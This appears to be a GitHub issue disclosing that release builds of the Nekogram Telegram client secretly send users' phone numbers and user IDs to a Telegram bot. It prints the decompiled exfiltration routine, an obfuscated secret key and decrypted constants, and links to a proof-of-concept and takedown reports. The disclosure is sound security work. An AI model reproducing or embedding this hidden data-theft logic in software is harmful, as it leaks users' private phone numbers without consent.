Skip to content

[Spyware, Malicious code] Malicious Code Injection and User Data Leaking in Release Binaries #336

@repinek

Description

@repinek

Steps to reproduce

  1. Install and login to your telegram account
  2. Now your phone number belongs to Xi Jinping... jk. to Nekogram creator

Expected behaviour

Not leaking phone numbers

Actual behaviour

Malicious Code Injection and User Data Exfiltration in Release Binaries

Following a reverse-engineering analysis of the official release binaries (.APK) distributed via this repository and associated links in README (official telegram channel, website and Google Play), I found a malicious code for leaking users sensitive data (phone numbers and associated user IDs) to third-party Telegram bots (by owner of app) without the users consent.

NOTE: source code for this data extraction logic is missing from the public GitHub repository, that shows the developer is injecting malicious code during the build process for releases.

Technical part

Using any java decompiler (I used JADX) we can see that releases are obfuscated. It's not a big problem, since original main telegram code is open.
In repository there's a Extra.java.example file. It's used to store APP_ID, APP_HASH and other sensitive for app information.
In release builds this file is differs from original source, adding extra code, especially defpackage.uo5.g() method (uo5 is Extra class, but name is obfuscated)

I showing a 6a51ee4af00195cf9180e587a53645ae38f8edc5a4a66c1ba166119e8b1b38e5 Nekogram-12.5.2-6597-arm64-v8a.apk file, from latest release

Image

Well, I repaired some classes, variables and method names, and got something like this:

    /* JADX DEBUG: Don't trust debug lines info. Lines numbers was adjusted: min line is 1 */
    public static void g() {
        TLRPC.User currentUser;
        String phoneNumber;
        try {
            if (isFunctionWasCalled) {
                return;
            }
            isFunctionWasCalled = true;
            HashMap mapWithAccounts = new HashMap();
            for (int i2 = 0; i2 < 8; i2++) {
                UserConfig userConfig = UserConfig.getInstance(i2);
                if (userConfig.A() && (currentUser = userConfig.o()) != null && (phoneNumber = currentUser.phoneNumber) != null) {
                    mapWithAccounts.put(String.valueOf(currentUser.userId), phoneNumber);
                }
            }
            InlineBotHelper.getInstance(UserConfig.selectedAccount).Query(BotHelper, WS_CONN_HASH + classWithString.DecodeWithEncString(-7227028227871466228L) + BaseRemoteHelper.GSON.toJson(mapWithAccounts), new Utilities.b() { // from class: pi6
                /* JADX DEBUG: Don't trust debug lines info. Lines numbers was adjusted: min line is 1 */
                @Override // org.telegram.messenger.Utilities.b
                public final void a(Object obj, Object obj2) {
                    qi6.a((ArrayList) obj, (String) obj2);
                }
            });
        } catch (Exception unused) {
        }
    }

We can see: the code iterates through all Telegram accounts logged into the client (up to 8 accounts) and constructs a JSON map of UserID -> PhoneNumber.
The collected data is sent as an Inline Query to a bot handler. This method is used specifically because it is silent = Does not appear in the user's chat history. Can be used without starting a bot.

  • Target Bot: @nekonotificationbot (ID 1190800416)
  • Secret Key: 741ad28818eab17668bc2c70bd419fc25ff56481758a4ac87e7ca164fb6ae1b1
  • Method: InlineBotHelper.Query(...)

The final exfiltrated string looks like:
741ad2...ae1b1{"123456789": "+79001234567", ...}

DecodeWithEncString also used several times, using a custom decryption tool (rewritten by obfuscated code), we can reveal the following hidden constants:

ID Decrypted Value Context
-7227028090432512756 873ffaceba76e****4a3cdb49 APP_HASH
-7227027407532712692 55***06 APP_ID
-7227026067502916340 nekonotificationbot Main Exfiltration Bot
-7227026153402262260 tgdb_search_bot Mentioned OSINT Bot
-7227025642301154036 usinfobot Mentioned OSINT Bot
-7227027729655259892 741ad2...ae1b1 Shared Secret / Hash

When g() function called?

Image Image Image

Some video proofs & PoC script (thx @RomashkaTea)

Where g() function called: https://t.me/NekoChat/619421 (this is Play Store version btw)
https://t.me/romashka_gene/8
https://github.com/RomashkaTea/nekogram-proof-of-logging

Play Store (Google Play) Version

Since the Google Play version also contains this malicious code, it is vital to report it so Play Protect can flag and disable the app on all user devices. (thx @RomashkaTea for confirming)
https://support.google.com/googleplay/android-developer/contact/takedown - Takedown page
https://play.google.com/store/apps/details?id=tw.nekomimi.nekogram - App in Play store, you can report it here also

for comment mention this issue

Conclusion

The Nekogram client silently uploads private user data (phone numbers and their associated user IDs) to @nekonotificationbot. This behavior is hidden behind strong obfuscation and triggered automatically during normal app operation.

Website with analysis by @thebadinteger

Acknowledgments

https://t.me/pvxblog/3746
https://t.me/sotaproject/111209

https://t.me/pvxblog/3746?comment=397889
https://t.me/NekoChat/619146 - claude code aahhh walkthrough
https://t.me/pvxblog/3746?comment=397816 (code to deobfuscate hidden constants)
https://t.me/NekoChat - Nekogram chat

Nekogram version

12.5.2, maybe old binaries affected too

Android version

any

Pinned by tehcneko

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions